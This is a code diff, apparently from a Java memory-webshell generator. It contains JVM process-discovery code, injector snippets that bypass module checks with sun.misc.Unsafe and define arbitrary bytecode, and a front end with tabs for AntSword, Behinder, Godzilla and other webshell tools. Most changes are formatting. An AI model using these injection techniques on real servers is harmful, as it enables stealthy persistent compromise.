dirs.add(new File(javaIoTmpDir));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return dirs;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String parsePerfData(File file) {
|
||||||
|
FileInputStream fis = null;
|
||||||
|
try {
|
||||||
|
fis = new FileInputStream(file);
|
||||||
|
long fileLength = file.length();
|
||||||
|
if (fileLength < MIN_PERFDATA_SIZE || fileLength > MAX_PERFDATA_SIZE) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
byte[] data = new byte[(int) fileLength];
|
||||||
|
int totalRead = 0;
|
||||||
|
int bytesRead;
|
||||||
|
while (totalRead < data.length
|
||||||
|
&& (bytesRead = fis.read(data, totalRead, data.length - totalRead)) != -1) {
|
||||||
|
totalRead += bytesRead;
|
||||||
|
}
|
||||||
|
if (totalRead < MIN_PERFDATA_SIZE) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
ByteBuffer buffer = ByteBuffer.wrap(data, 0, totalRead);
|
||||||
|
buffer.order(ByteOrder.BIG_ENDIAN);
|
||||||
|
int magic = buffer.getInt();
|
||||||
|
if (magic != PERFDATA_MAGIC) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
byte byteOrder = buffer.get();
|
||||||
|
if (byteOrder == 1) {
|
||||||
|
buffer.order(ByteOrder.LITTLE_ENDIAN);
|
||||||
|
}
|
||||||
|
|
||||||
|
byte majorVersion = buffer.get();
|
||||||
|
buffer.get(); // minor version
|
||||||
|
buffer.get(); // accessible / reserved
|
||||||
|
|
||||||
|
if (majorVersion < 2) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
buffer.getInt(); // used
|
||||||
|
buffer.getInt(); // overflow
|
||||||
|
buffer.getLong(); // mod_time_stamp
|
||||||
|
int entryOffset = buffer.getInt();
|
||||||
|
int numEntries = buffer.getInt();
|
||||||
|
|
||||||
|
int pos = entryOffset;
|
||||||
|
for (int i = 0; i < numEntries && pos >= 0 && pos + ENTRY_HEADER_SIZE <= totalRead; i++) {
|
||||||
|
buffer.position(pos);
|
||||||
|
int entryLength = buffer.getInt();
|
||||||
|
if (entryLength <= 0 || pos + entryLength > totalRead) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
int nameOffset = buffer.getInt();
|
||||||
|
buffer.getInt(); // vector_length
|
||||||
|
buffer.get(); // data_type
|
||||||
|
buffer.get(); // flags
|
||||||
|
byte dataUnits = buffer.get();
|
||||||
|
buffer.get(); // data_variability
|
||||||
|
int dataOffset = buffer.getInt();
|
||||||
|
|
||||||
|
int nameStart = pos + nameOffset;
|
||||||
|
if (nameStart < 0 || nameStart >= totalRead) {
|
||||||
|
pos += entryLength;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
int nameEnd = nameStart;
|
||||||
|
while (nameEnd < totalRead && data[nameEnd] != 0) {
|
||||||
|
nameEnd++;
|
||||||
|
}
|
||||||
|
String name = new String(data, nameStart, nameEnd - nameStart, "UTF-8");
|
||||||
|
|
||||||
|
if (JAVA_COMMAND_KEY.equals(name) && dataUnits == UNITS_STRING) {
|
||||||
|
int dataStart = pos + dataOffset;
|
||||||
|
if (dataStart < 0 || dataStart >= totalRead) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
int dataEnd = dataStart;
|
||||||
|
while (dataEnd < totalRead && data[dataEnd] != 0) {
|
||||||
|
dataEnd++;
|
||||||
|
}
|
||||||
|
return new String(data, dataStart, dataEnd - dataStart, "UTF-8");
|
||||||
|
}
|
||||||
|
|
||||||
|
pos += entryLength;
|
||||||
|
}
|
||||||
|
|
||||||
|
return "";
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
return "";
|
||||||
|
} finally {
|
||||||
|
if (fis != null) {
|
||||||
|
try {
|
||||||
|
fis.close();
|
||||||
|
} catch (IOException ignored) {
|
||||||
|
/* do nothing */
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static boolean isNumeric(String str) {
|
||||||
|
if (str == null || str.isEmpty()) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
for (int i = 0; i < str.length(); i++) {
|
||||||
|
if (str.charAt(i) < '0' || str.charAt(i) > '9') {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String extractMainClass(String javaCommand) {
|
||||||
|
if (javaCommand == null || javaCommand.isEmpty()) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
int spaceIndex = javaCommand.indexOf(' ');
|
||||||
|
return spaceIndex > 0 ? javaCommand.substring(0, spaceIndex) : javaCommand;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Discovers running OpenJ9 JVM processes by scanning {@code .com_ibm_tools_attach} directories.
|
||||||
|
*/
|
||||||
|
private static class OpenJ9ProcessDiscovery {
|
||||||
|
|
||||||
|
private static final String ATTACH_DIR_NAME = ".com_ibm_tools_attach";
|
||||||
|
private static final String ATTACH_INFO_FILE = "attachInfo";
|
||||||
|
|
||||||
|
static List<JavaProcessDescriptor> discover() {
|
||||||
|
List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
|
||||||
|
for (File attachDir : getAttachDirectories()) {
|
||||||
|
if (!attachDir.isDirectory()) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
File[] vmDirs = attachDir.listFiles();
|
||||||
|
if (vmDirs == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
for (File vmDir : vmDirs) {
|
||||||
|
if (!vmDir.isDirectory()) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
File attachInfo = new File(vmDir, ATTACH_INFO_FILE);
|
||||||
|
if (!attachInfo.isFile() || !attachInfo.canRead()) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
FileInputStream fis = null;
|
||||||
|
try {
|
||||||
|
Properties props = new Properties();
|
||||||
|
fis = new FileInputStream(attachInfo);
|
||||||
|
props.load(fis);
|
||||||
|
String pid = props.getProperty("processId");
|
||||||
|
String displayName = props.getProperty("displayName", "");
|
||||||
|
if (pid != null && pid.length() > 0) {
|
||||||
|
result.add(new JavaProcessDescriptor(pid, displayName, "OpenJ9"));
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
/* do nothing */
|
||||||
|
} finally {
|
||||||
|
if (fis != null) {
|
||||||
|
try {
|
||||||
|
fis.close();
|
||||||
|
} catch (IOException ignored) {
|
||||||
|
/* do nothing */
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static List<File> getAttachDirectories() {
|
||||||
|
List<File> dirs = new ArrayList<File>();
|
||||||
|
String osName = System.getProperty("os.name", "");
|
||||||
|
if (osName.startsWith("Windows")) {
|
||||||
|
dirs.add(new File(System.getProperty("java.io.tmpdir"), ATTACH_DIR_NAME));
|
||||||
|
} else {
|
||||||
|
dirs.add(new File("/tmp", ATTACH_DIR_NAME));
|
||||||
|
String javaIoTmpDir = System.getProperty("java.io.tmpdir");
|
||||||
|
if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
|
||||||
|
dirs.add(new File(javaIoTmpDir, ATTACH_DIR_NAME));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
String ibmAttachDir = System.getProperty("com.ibm.tools.attach.directory");
|
||||||
|
if (ibmAttachDir != null) {
|
||||||
|
dirs.add(new File(ibmAttachDir));
|
||||||
|
}
|
||||||
|
return dirs;
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -4,7 +4,7 @@
|
|||||||
super(classLoader);
|
super(classLoader);
|
||||||
}
|
}
|
||||||
|
|
||||||
public Class<?> defineClass(byte[] code) {
|
public Class defineClass(byte[] code) {
|
||||||
return defineClass(null, code, 0, code.length);
|
return defineClass(null, code, 0, code.length);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -6,7 +6,7 @@
|
|||||||
public ClassDefiner(ClassLoader classLoader) {
|
public ClassDefiner(ClassLoader classLoader) {
|
||||||
super(classLoader);
|
super(classLoader);
|
||||||
}
|
}
|
||||||
public Class<?> defineClass(byte[] code) {
|
public Class defineClass(byte[] code) {
|
||||||
return defineClass(null, code, 0, code.length);
|
return defineClass(null, code, 0, code.length);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -4,7 +4,7 @@
|
|||||||
long offset = 48;
|
long offset = 48;
|
||||||
java.lang.reflect.Method getAndSetObjectM = null;
|
java.lang.reflect.Method getAndSetObjectM = null;
|
||||||
try {
|
try {
|
||||||
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
Class unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||||
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||||
unsafeField.setAccessible(true);
|
unsafeField.setAccessible(true);
|
||||||
unsafe = unsafeField.get(null);
|
unsafe = unsafeField.get(null);
|
||||||
@@ -28,7 +28,7 @@
|
|||||||
}
|
}
|
||||||
java.lang.reflect.Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
java.lang.reflect.Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||||
defMethod.setAccessible(true);
|
defMethod.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defMethod.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length);
|
Class clazz = (Class) defMethod.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length);
|
||||||
if (getAndSetObjectM != null) {
|
if (getAndSetObjectM != null) {
|
||||||
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
|
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,20 @@
|
|||||||
|
{
|
||||||
|
"$schema": "./node_modules/oxfmt/configuration_schema.json",
|
||||||
|
"experimentalTailwindcss": {
|
||||||
|
"stylesheet": "./app/app.css",
|
||||||
|
"attributes": ["class", "className"],
|
||||||
|
"functions": ["clsx", "cn"],
|
||||||
|
"preserveWhitespace": true
|
||||||
|
},
|
||||||
|
"ignorePatterns": [],
|
||||||
|
"sortImports": {
|
||||||
|
"newlinesBetween": true,
|
||||||
|
"groups": [
|
||||||
|
"type-import",
|
||||||
|
["value-builtin", "value-external"],
|
||||||
|
"value-internal",
|
||||||
|
["value-parent", "value-sibling", "value-index"],
|
||||||
|
"unknown"
|
||||||
|
]
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
{
|
||||||
|
"$schema": "./node_modules/oxlint/configuration_schema.json",
|
||||||
|
"rules": {
|
||||||
|
"no-unused-vars": [
|
||||||
|
"warn",
|
||||||
|
{
|
||||||
|
"args": "none",
|
||||||
|
"varsIgnorePattern": "^_"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -3,6 +3,14 @@
|
|||||||
@import "fumadocs-ui/css/shadcn.css";
|
@import "fumadocs-ui/css/shadcn.css";
|
||||||
@import "fumadocs-ui/css/preset.css";
|
@import "fumadocs-ui/css/preset.css";
|
||||||
|
|
||||||
|
html {
|
||||||
|
scrollbar-gutter: stable;
|
||||||
|
}
|
||||||
|
|
||||||
|
html:has(body[data-scroll-locked]) {
|
||||||
|
scrollbar-gutter: auto;
|
||||||
|
}
|
||||||
|
|
||||||
:root {
|
:root {
|
||||||
--radius: 0.625rem;
|
--radius: 0.625rem;
|
||||||
--background: oklch(1 0 0);
|
--background: oklch(1 0 0);
|
||||||
|
|||||||
@@ -1,18 +1,14 @@
|
|||||||
import type { VariantProps } from "class-variance-authority";
|
import type { VariantProps } from "class-variance-authority";
|
||||||
|
|
||||||
import { Check, Copy } from "lucide-react";
|
import { Check, Copy } from "lucide-react";
|
||||||
import {
|
import { type HTMLProps, type ReactNode, useCallback, useEffect, useState } from "react";
|
||||||
type HTMLProps,
|
|
||||||
type ReactNode,
|
|
||||||
useCallback,
|
|
||||||
useEffect,
|
|
||||||
useState,
|
|
||||||
} from "react";
|
|
||||||
import CopyToClipboard from "react-copy-to-clipboard";
|
import CopyToClipboard from "react-copy-to-clipboard";
|
||||||
import { useTranslation } from "react-i18next";
|
import { useTranslation } from "react-i18next";
|
||||||
import { PrismLight as SyntaxHighlighter } from "react-syntax-highlighter";
|
import { PrismLight as SyntaxHighlighter } from "react-syntax-highlighter";
|
||||||
import java from "react-syntax-highlighter/dist/esm/languages/prism/java";
|
import java from "react-syntax-highlighter/dist/esm/languages/prism/java";
|
||||||
import materialDark from "react-syntax-highlighter/dist/esm/styles/prism/material-dark";
|
import materialDark from "react-syntax-highlighter/dist/esm/styles/prism/material-dark";
|
||||||
import { toast } from "sonner";
|
import { toast } from "sonner";
|
||||||
|
|
||||||
import { Button, type buttonVariants } from "@/components/ui/button";
|
import { Button, type buttonVariants } from "@/components/ui/button";
|
||||||
import { cn } from "@/lib/utils";
|
import { cn } from "@/lib/utils";
|
||||||
|
|
||||||
@@ -68,17 +64,13 @@ export default function CodeViewer({
|
|||||||
showLineNumbers = true,
|
showLineNumbers = true,
|
||||||
wrapLongLines = true,
|
wrapLongLines = true,
|
||||||
}: Readonly<CodeViewerProps>) {
|
}: Readonly<CodeViewerProps>) {
|
||||||
const lineProps: lineTagPropsFunction | HTMLProps<HTMLElement> | undefined =
|
const lineProps: lineTagPropsFunction | HTMLProps<HTMLElement> | undefined = wrapLongLines
|
||||||
wrapLongLines
|
? { style: { overflowWrap: "break-word", whiteSpace: "pre-wrap" } }
|
||||||
? { style: { overflowWrap: "break-word", whiteSpace: "pre-wrap" } }
|
: undefined;
|
||||||
: undefined;
|
|
||||||
return (
|
return (
|
||||||
<div className="rounded-lg border">
|
<div className="rounded-lg border">
|
||||||
<div
|
<div
|
||||||
className={cn(
|
className={cn("flex items-center justify-end border-b p-2", header && "justify-between")}
|
||||||
"flex items-center border-b p-2 justify-end",
|
|
||||||
header && "justify-between",
|
|
||||||
)}
|
|
||||||
>
|
>
|
||||||
{header}
|
{header}
|
||||||
<div className="flex items-center gap-2">
|
<div className="flex items-center gap-2">
|
||||||
@@ -86,7 +78,7 @@ export default function CodeViewer({
|
|||||||
<CopyButton value={code} variant="ghost" size="sm" />
|
<CopyButton value={code} variant="ghost" size="sm" />
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div className="relative overflow-hidden text-xs wrap-all">
|
<div className="wrap-all relative overflow-hidden text-xs">
|
||||||
<SyntaxHighlighter
|
<SyntaxHighlighter
|
||||||
language={language}
|
language={language}
|
||||||
style={materialDark}
|
style={materialDark}
|
||||||
|
|||||||
@@ -1,13 +1,9 @@
|
|||||||
import { Check, Copy } from "lucide-react";
|
import { Check, Copy } from "lucide-react";
|
||||||
import {
|
import { type ComponentPropsWithoutRef, useCallback, useEffect, useState } from "react";
|
||||||
type ComponentPropsWithoutRef,
|
|
||||||
useCallback,
|
|
||||||
useEffect,
|
|
||||||
useState,
|
|
||||||
} from "react";
|
|
||||||
import CopyToClipboard from "react-copy-to-clipboard";
|
import CopyToClipboard from "react-copy-to-clipboard";
|
||||||
import { useTranslation } from "react-i18next";
|
import { useTranslation } from "react-i18next";
|
||||||
import { toast } from "sonner";
|
import { toast } from "sonner";
|
||||||
|
|
||||||
import { Button } from "@/components/ui/button";
|
import { Button } from "@/components/ui/button";
|
||||||
import { Label } from "@/components/ui/label";
|
import { Label } from "@/components/ui/label";
|
||||||
import { cn } from "@/lib/utils";
|
import { cn } from "@/lib/utils";
|
||||||
@@ -48,7 +44,7 @@ export function CopyableField({
|
|||||||
|
|
||||||
return (
|
return (
|
||||||
<div className={cn("flex flex-col gap-1 py-1", className)} {...divProps}>
|
<div className={cn("flex flex-col gap-1 py-1", className)} {...divProps}>
|
||||||
<div className="flex items-center justify-between gap-2 h-6">
|
<div className="flex h-6 items-center justify-between gap-2">
|
||||||
<Label className="text-sm text-muted-foreground">{label}:</Label>
|
<Label className="text-sm text-muted-foreground">{label}:</Label>
|
||||||
{value && (
|
{value && (
|
||||||
<CopyToClipboard.CopyToClipboard text={value} onCopy={handleCopy}>
|
<CopyToClipboard.CopyToClipboard text={value} onCopy={handleCopy}>
|
||||||
@@ -59,11 +55,7 @@ export function CopyableField({
|
|||||||
className="h-8 w-8"
|
className="h-8 w-8"
|
||||||
disabled={hasCopied}
|
disabled={hasCopied}
|
||||||
>
|
>
|
||||||
{hasCopied ? (
|
{hasCopied ? <Check className="h-4 w-4" /> : <Copy className="h-4 w-4" />}
|
||||||
<Check className="h-4 w-4" />
|
|
||||||
) : (
|
|
||||||
<Copy className="h-4 w-4" />
|
|
||||||
)}
|
|
||||||
</Button>
|
</Button>
|
||||||
</CopyToClipboard.CopyToClipboard>
|
</CopyToClipboard.CopyToClipboard>
|
||||||
)}
|
)}
|
||||||
|
|||||||
@@ -0,0 +1,13 @@
|
|||||||
|
export type IconProps = React.HTMLAttributes<SVGElement>;
|
||||||
|
|
||||||
|
export const Icons = {
|
||||||
|
gitHub: (props: IconProps) => (
|
||||||
|
<svg viewBox="0 0 438.549 438.549" {...props}>
|
||||||
|
<title>GitHub</title>
|
||||||
|
<path
|
||||||
|
fill="currentColor"
|
||||||
|
d="M409.132 114.573c-19.608-33.596-46.205-60.194-79.798-79.8-33.598-19.607-70.277-29.408-110.063-29.408-39.781 0-76.472 9.804-110.063 29.408-33.596 19.605-60.192 46.204-79.8 79.8C9.803 148.168 0 184.854 0 224.63c0 47.78 13.94 90.745 41.827 128.906 27.884 38.164 63.906 64.572 108.063 79.227 5.14.954 8.945.283 11.419-1.996 2.475-2.282 3.711-5.14 3.711-8.562 0-.571-.049-5.708-.144-15.417a2549.81 2549.81 0 01-.144-25.406l-6.567 1.136c-4.187.767-9.469 1.092-15.846 1-6.374-.089-12.991-.757-19.842-1.999-6.854-1.231-13.229-4.086-19.13-8.559-5.898-4.473-10.085-10.328-12.56-17.556l-2.855-6.57c-1.903-4.374-4.899-9.233-8.992-14.559-4.093-5.331-8.232-8.945-12.419-10.848l-1.999-1.431c-1.332-.951-2.568-2.098-3.711-3.429-1.142-1.331-1.997-2.663-2.568-3.997-.572-1.335-.098-2.43 1.427-3.289 1.525-.859 4.281-1.276 8.28-1.276l5.708.853c3.807.763 8.516 3.042 14.133 6.851 5.614 3.806 10.229 8.754 13.846 14.842 4.38 7.806 9.657 13.754 15.846 17.847 6.184 4.093 12.419 6.136 18.699 6.136 6.28 0 11.704-.476 16.274-1.423 4.565-.952 8.848-2.383 12.847-4.285 1.713-12.758 6.377-22.559 13.988-29.41-10.848-1.14-20.601-2.857-29.264-5.14-8.658-2.286-17.605-5.996-26.835-11.14-9.235-5.137-16.896-11.516-22.985-19.126-6.09-7.614-11.088-17.61-14.987-29.979-3.901-12.374-5.852-26.648-5.852-42.826 0-23.035 7.52-42.637 22.557-58.817-7.044-17.318-6.379-36.732 1.997-58.24 5.52-1.715 13.706-.428 24.554 3.853 10.85 4.283 18.794 7.952 23.84 10.994 5.046 3.041 9.089 5.618 12.135 7.708 17.705-4.947 35.976-7.421 54.818-7.421s37.117 2.474 54.823 7.421l10.849-6.849c7.419-4.57 16.18-8.758 26.262-12.565 10.088-3.805 17.802-4.853 23.134-3.138 8.562 21.509 9.325 40.922 2.279 58.24 15.036 16.18 22.559 35.787 22.559 58.817 0 16.178-1.958 30.497-5.853 42.966-3.9 12.471-8.941 22.457-15.125 29.979-6.191 7.521-13.901 13.85-23.131 18.986-9.232 5.14-18.182 8.85-26.84 11.136-8.662 2.286-18.415 4.004-29.263 5.146 9.894 8.562 14.842 22.077 14.842 40.539v60.237c0 3.422 1.19 6.279 3.572 8.562 2.379 2.279 6.136 2.95 11.276 1.995 44.163-14.653 80.185-41.062 108.068-79.226 27.88-38.161 41.825-81.126 41.825-128.906-.01-39.771-9.818-76.454-29.414-110.049z"
|
||||||
|
/>
|
||||||
|
</svg>
|
||||||
|
),
|
||||||
|
};
|
||||||
@@ -1,8 +1,10 @@
|
|||||||
"use client";
|
"use client";
|
||||||
|
|
||||||
import { Image, type ImageProps } from "fumadocs-core/framework";
|
|
||||||
import type { ComponentProps } from "react";
|
import type { ComponentProps } from "react";
|
||||||
|
|
||||||
|
import { Image, type ImageProps } from "fumadocs-core/framework";
|
||||||
import Zoom, { type UncontrolledProps } from "react-medium-image-zoom";
|
import Zoom, { type UncontrolledProps } from "react-medium-image-zoom";
|
||||||
|
|
||||||
import "@/components/image-zoom.css";
|
import "@/components/image-zoom.css";
|
||||||
|
|
||||||
export type ImageZoomProps = ImageProps & {
|
export type ImageZoomProps = ImageProps & {
|
||||||
@@ -22,20 +24,14 @@ function getImageSrc(src: ImageProps["src"]): string {
|
|||||||
|
|
||||||
if (typeof src === "object") {
|
if (typeof src === "object") {
|
||||||
// Next.js
|
// Next.js
|
||||||
if ("default" in src)
|
if ("default" in src) return (src as { default: { src: string } }).default.src;
|
||||||
return (src as { default: { src: string } }).default.src;
|
|
||||||
return src.src;
|
return src.src;
|
||||||
}
|
}
|
||||||
|
|
||||||
return "";
|
return "";
|
||||||
}
|
}
|
||||||
|
|
||||||
export function ImageZoom({
|
export function ImageZoom({ zoomInProps, children, rmiz, ...props }: ImageZoomProps) {
|
||||||
zoomInProps,
|
|
||||||
children,
|
|
||||||
rmiz,
|
|
||||||
...props
|
|
||||||
}: ImageZoomProps) {
|
|
||||||
return (
|
return (
|
||||||
<Zoom
|
<Zoom
|
||||||
zoomMargin={20}
|
zoomMargin={20}
|
||||||
@@ -48,10 +44,7 @@ export function ImageZoom({
|
|||||||
}}
|
}}
|
||||||
>
|
>
|
||||||
{children ?? (
|
{children ?? (
|
||||||
<Image
|
<Image sizes="(max-width: 768px) 100vw, (max-width: 1200px) 70vw, 900px" {...props} />
|
||||||
sizes="(max-width: 768px) 100vw, (max-width: 1200px) 70vw, 900px"
|
|
||||||
{...props}
|
|
||||||
/>
|
|
||||||
)}
|
)}
|
||||||
</Zoom>
|
</Zoom>
|
||||||
);
|
);
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
import { LanguagesIcon } from "lucide-react";
|
import { LanguagesIcon } from "lucide-react";
|
||||||
import { useTranslation } from "react-i18next";
|
import { useTranslation } from "react-i18next";
|
||||||
|
|
||||||
import { Button } from "./ui/button";
|
import { Button } from "./ui/button";
|
||||||
|
|
||||||
export function LanguageSwitcher() {
|
export function LanguageSwitcher() {
|
||||||
|
|||||||
@@ -1,9 +1,9 @@
|
|||||||
import { type MotionProps, motion } from "motion/react";
|
import { type MotionProps, motion } from "motion/react";
|
||||||
|
|
||||||
import { cn } from "@/lib/utils";
|
import { cn } from "@/lib/utils";
|
||||||
|
|
||||||
interface LineShadowTextProps
|
interface LineShadowTextProps
|
||||||
extends Omit<React.HTMLAttributes<HTMLElement>, keyof MotionProps>,
|
extends Omit<React.HTMLAttributes<HTMLElement>, keyof MotionProps>, MotionProps {
|
||||||
MotionProps {
|
|
||||||
shadowColor?: string;
|
shadowColor?: string;
|
||||||
as?: React.ElementType;
|
as?: React.ElementType;
|
||||||
}
|
}
|
||||||
@@ -27,7 +27,7 @@ export function LineShadowText({
|
|||||||
style={{ "--shadow-color": shadowColor } as React.CSSProperties}
|
style={{ "--shadow-color": shadowColor } as React.CSSProperties}
|
||||||
className={cn(
|
className={cn(
|
||||||
"relative z-0 inline-flex",
|
"relative z-0 inline-flex",
|
||||||
"after:absolute after:left-[0.04em] after:top-[0.04em] after:content-[attr(data-text)]",
|
"after:absolute after:top-[0.04em] after:left-[0.04em] after:content-[attr(data-text)]",
|
||||||
"after:bg-[linear-gradient(45deg,transparent_45%,var(--shadow-color)_45%,var(--shadow-color)_55%,transparent_0)]",
|
"after:bg-[linear-gradient(45deg,transparent_45%,var(--shadow-color)_45%,var(--shadow-color)_55%,transparent_0)]",
|
||||||
"after:-z-10 after:bg-[length:0.06em_0.06em] after:bg-clip-text after:text-transparent",
|
"after:-z-10 after:bg-[length:0.06em_0.06em] after:bg-clip-text after:text-transparent",
|
||||||
"after:animate-line-shadow",
|
"after:animate-line-shadow",
|
||||||
|
|||||||
@@ -0,0 +1,16 @@
|
|||||||
|
import type { MDXComponents } from "mdx/types";
|
||||||
|
|
||||||
|
import defaultMdxComponents from "fumadocs-ui/mdx";
|
||||||
|
|
||||||
|
export function getMDXComponents(components?: MDXComponents) {
|
||||||
|
return {
|
||||||
|
...defaultMdxComponents,
|
||||||
|
...components,
|
||||||
|
} satisfies MDXComponents;
|
||||||
|
}
|
||||||
|
|
||||||
|
export const useMDXComponents = getMDXComponents;
|
||||||
|
|
||||||
|
declare global {
|
||||||
|
type MDXProvidedComponents = ReturnType<typeof getMDXComponents>;
|
||||||
|
}
|
||||||
@@ -1,11 +1,9 @@
|
|||||||
|
import type { MemShellFormSchema } from "@/types/schema";
|
||||||
|
|
||||||
import { Controller, type UseFormReturn } from "react-hook-form";
|
import { Controller, type UseFormReturn } from "react-hook-form";
|
||||||
import { useTranslation } from "react-i18next";
|
import { useTranslation } from "react-i18next";
|
||||||
import {
|
|
||||||
Field,
|
import { Field, FieldContent, FieldError, FieldLabel } from "@/components/ui/field";
|
||||||
FieldContent,
|
|
||||||
FieldError,
|
|
||||||
FieldLabel,
|
|
||||||
} from "@/components/ui/field";
|
|
||||||
import {
|
import {
|
||||||
Select,
|
Select,
|
||||||
SelectContent,
|
SelectContent,
|
||||||
@@ -13,7 +11,6 @@ import {
|
|||||||
SelectTrigger,
|
SelectTrigger,
|
||||||
SelectValue,
|
SelectValue,
|
||||||
} from "@/components/ui/select";
|
} from "@/components/ui/select";
|
||||||
import type { MemShellFormSchema } from "@/types/schema";
|
|
||||||
|
|
||||||
const JDKVersion = [
|
const JDKVersion = [
|
||||||
{ name: "Java6", value: "50" },
|
{ name: "Java6", value: "50" },
|
||||||
@@ -37,9 +34,7 @@ export function JREVersionFormField({
|
|||||||
render={({ field, fieldState }) => (
|
render={({ field, fieldState }) => (
|
||||||
<Field orientation="vertical" data-invalid={fieldState.invalid}>
|
<Field orientation="vertical" data-invalid={fieldState.invalid}>
|
||||||
<FieldContent>
|
<FieldContent>
|
||||||
<FieldLabel htmlFor="targetJdkVersion">
|
<FieldLabel htmlFor="targetJdkVersion">{t("common:targetJdkVersion")}</FieldLabel>
|
||||||
{t("common:targetJdkVersion")}
|
|
||||||
</FieldLabel>
|
|
||||||
<Select
|
<Select
|
||||||
onValueChange={(v) => {
|
onValueChange={(v) => {
|
||||||
if (Number.parseInt(v ?? "0", 10) >= 53) {
|
if (Number.parseInt(v ?? "0", 10) >= 53) {
|
||||||
@@ -51,13 +46,8 @@ export function JREVersionFormField({
|
|||||||
}}
|
}}
|
||||||
value={field.value}
|
value={field.value}
|
||||||
>
|
>
|
||||||
<SelectTrigger
|
<SelectTrigger id="targetJdkVersion" aria-invalid={fieldState.invalid}>
|
||||||
id="targetJdkVersion"
|
<SelectValue data-placeholder={t("common:placeholders.select")} />
|
||||||
aria-invalid={fieldState.invalid}
|
|
||||||
>
|
|
||||||
<SelectValue
|
|
||||||
data-placeholder={t("common:placeholders.select")}
|
|
||||||
/>
|
|
||||||
</SelectTrigger>
|
</SelectTrigger>
|
||||||
<SelectContent>
|
<SelectContent>
|
||||||
{JDKVersion.map((v) => (
|
{JDKVersion.map((v) => (
|
||||||
|
|||||||
@@ -1,7 +1,10 @@
|
|||||||
|
import type { MemShellFormSchema } from "@/types/schema";
|
||||||
|
|
||||||
import { ArrowUpRightIcon, InfoIcon, ServerIcon } from "lucide-react";
|
import { ArrowUpRightIcon, InfoIcon, ServerIcon } from "lucide-react";
|
||||||
import { useCallback, useEffect, useMemo } from "react";
|
import { useCallback, useEffect, useMemo } from "react";
|
||||||
import { Controller, type UseFormReturn, useWatch } from "react-hook-form";
|
import { Controller, type UseFormReturn, useWatch } from "react-hook-form";
|
||||||
import { useTranslation } from "react-i18next";
|
import { useTranslation } from "react-i18next";
|
||||||
|
|
||||||
import { AntSwordTabContent } from "@/components/memshell/tabs/antsword-tab";
|
import { AntSwordTabContent } from "@/components/memshell/tabs/antsword-tab";
|
||||||
import { BehinderTabContent } from "@/components/memshell/tabs/behinder-tab";
|
import { BehinderTabContent } from "@/components/memshell/tabs/behinder-tab";
|
||||||
import { CommandTabContent } from "@/components/memshell/tabs/command-tab";
|
import { CommandTabContent } from "@/components/memshell/tabs/command-tab";
|
||||||
@@ -10,12 +13,7 @@ import { GodzillaTabContent } from "@/components/memshell/tabs/godzilla-tab";
|
|||||||
import { NeoRegTabContent } from "@/components/memshell/tabs/neoreg-tab";
|
import { NeoRegTabContent } from "@/components/memshell/tabs/neoreg-tab";
|
||||||
import { Suo5TabContent } from "@/components/memshell/tabs/suo5-tab";
|
import { Suo5TabContent } from "@/components/memshell/tabs/suo5-tab";
|
||||||
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
|
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
|
||||||
import {
|
import { Field, FieldContent, FieldDescription, FieldLabel } from "@/components/ui/field";
|
||||||
Field,
|
|
||||||
FieldContent,
|
|
||||||
FieldDescription,
|
|
||||||
FieldLabel,
|
|
||||||
} from "@/components/ui/field";
|
|
||||||
